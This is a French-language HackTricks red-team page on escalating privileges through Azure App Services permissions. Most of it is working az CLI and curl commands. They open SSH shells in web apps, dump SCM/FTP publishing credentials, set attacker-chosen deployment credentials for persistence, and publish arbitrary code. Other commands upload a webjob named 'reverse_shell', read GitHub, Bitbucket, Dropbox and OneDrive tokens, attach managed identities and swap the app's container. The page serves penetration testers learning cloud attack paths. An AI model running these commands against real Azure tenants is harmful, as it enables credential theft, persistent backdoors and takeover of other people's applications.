Az - App Services Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

App Services

Pour plus d’informations sur les services d’application Azure, consultez :

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

Ces autorisations permettent d’obtenir un SSH shell Ă  l’intĂ©rieur d’une application web. Elles permettent Ă©galement de dĂ©boguer l’application.

  • SSH en une seule commande :
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • CrĂ©er un tunnel puis se connecter Ă  SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • DĂ©boguer l’application :
  1. Installez l’extension Azure dans VScode.
  2. Connectez-vous à l’extension avec le compte Azure.
  3. Listez tous les services App dans la souscription.
  4. SĂ©lectionnez le service App que vous souhaitez dĂ©boguer, faites un clic droit et sĂ©lectionnez “DĂ©marrer le dĂ©bogage”.
  5. Si l’application n’a pas le dĂ©bogage activĂ©, l’extension essaiera de l’activer mais votre compte doit avoir la permission Microsoft.Web/sites/config/write pour le faire.

Obtention des identifiants SCM et activation de l’authentification de base

Pour obtenir les identifiants SCM, vous pouvez utiliser les commandes et permissions suivantes :

  • La permission Microsoft.Web/sites/publishxml/action permet d’appeler :
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

Notez que le nom d’utilisateur est toujours le mĂȘme (sauf dans FTP qui ajoute le nom de l’application au dĂ©but) mais le mot de passe est le mĂȘme pour tous.

De plus, l’URL SCM est <app-name>.scm.azurewebsites.net.

  • La permission Microsoft.Web/sites/config/list/action permet d’appeler :
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

Notez que les identifiants sont les mĂȘmes que dans la commande prĂ©cĂ©dente.

  • Une autre option serait de dĂ©finir vos propres identifiants et de les utiliser :
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

Ensuite, vous pouvez utiliser ces identifiants pour accĂ©der aux plateformes SCM et FTP. C’est aussi un excellent moyen de maintenir la persistance.

N’oubliez pas que pour accĂ©der Ă  la plateforme SCM depuis le web, vous devez accĂ©der Ă  <SCM-URL>/BasicAuth.

Warning

Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande prĂ©cĂ©dente, mais si l’utilisateur n’a pas suffisamment de permissions pour accĂ©der au SCM ou au FTP, les identifiants ne fonctionneront pas.

  • Si vous voyez que ces identifiants sont REDACTED, c’est parce que vous devez activer l’option d’authentification de base SCM et pour cela, vous avez besoin de la deuxiĂšme permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

Publier du code en utilisant des identifiants SCM

Il suffit d’avoir des identifiants SCM valides pour publier du code dans le service App. Cela peut ĂȘtre fait en utilisant la commande suivante.

Pour cet exemple en python, vous pouvez télécharger le dépÎt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les modifications que vous souhaitez, puis zippez-le en exécutant : zip -r app.zip ..

Ensuite, vous pouvez publier le code dans une application web avec la commande suivante :

curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM

La permission Azure mentionnĂ©e permet d’effectuer plusieurs actions intĂ©ressantes qui peuvent Ă©galement ĂȘtre rĂ©alisĂ©es avec les identifiants SCM :

  • Lire les journaux Webjobs :
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Lire le code source de Webjobs :
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • CrĂ©er Webjob continu :
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ces autorisations permettent de attribuer une identitĂ© gĂ©rĂ©e au service App, donc si un service App a Ă©tĂ© prĂ©cĂ©demment compromis, cela permettra Ă  l’attaquant d’attribuer de nouvelles identitĂ©s gĂ©rĂ©es au service App et d’escalader les privilĂšges vers celles-ci.

az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

Cette permission permet de lister les connection strings et les appsettings du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.

az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Lire les identifiants de tiers configurés

En exĂ©cutant la commande suivante, il est possible de lire les identifiants de tiers configurĂ©s dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurĂ©s dans un utilisateur diffĂ©rent, vous ne pourrez pas accĂ©der au token d’un autre.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.

Voici quelques exemples de commandes pour vérifier les jetons :

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Mettre à jour le code de l’application depuis la source

  • Si la source configurĂ©e est un fournisseur tiers comme Github, BitBucket ou un dĂ©pĂŽt Azure, vous pouvez mettre Ă  jour le code du service App en compromettant le code source dans le dĂ©pĂŽt.
  • Si l’application est configurĂ©e en utilisant un dĂ©pĂŽt git distant (avec nom d’utilisateur et mot de passe), il est possible d’obtenir l’URL et les identifiants d’authentification de base pour cloner et pousser des modifications avec :
  • En utilisant la permission Microsoft.Web/sites/sourcecontrols/read : az webapp deployment source show --name <app-name> --resource-group <res-group>
  • En utilisant la permission Microsoft.Web/sites/config/list/action :
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • Si l’application est configurĂ©e pour utiliser un dĂ©pĂŽt git local, il est possible de cloner le dĂ©pĂŽt et de pousser des modifications :
  • En utilisant la permission Microsoft.Web/sites/sourcecontrols/read : Vous pouvez obtenir l’URL du dĂ©pĂŽt git avec az webapp deployment source show --name <app-name> --resource-group <res-group>, mais cela sera le mĂȘme que l’URL SCM de l’application avec le chemin /<app-name>.git (par exemple, https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git).
  • Pour obtenir les identifiants SCM, vous avez besoin de la permission :
  • Microsoft.Web/sites/publishxml/action : Ensuite, exĂ©cutez az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.
  • Microsoft.Web/sites/config/list/action : Ensuite, exĂ©cutez az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>

Warning

Notez qu’avoir la permission Microsoft.Web/sites/config/list/action et les identifiants SCM rend toujours possible le dĂ©ploiement dans une webapp (mĂȘme si elle a Ă©tĂ© configurĂ©e pour utiliser un fournisseur tiers) comme mentionnĂ© dans une section prĂ©cĂ©dente.

Warning

Notez qu’avoir les permissions ci-dessous rend Ă©galement possible d’exĂ©cuter un conteneur arbitraire mĂȘme si la webapp a Ă©tĂ© configurĂ©e diffĂ©remment.

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

C’est l’ensemble des permissions qui permet de modifier le conteneur utilisĂ© par une webapp. Un attaquant pourrait en abuser pour faire exĂ©cuter un conteneur malveillant Ă  une webapp.

az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks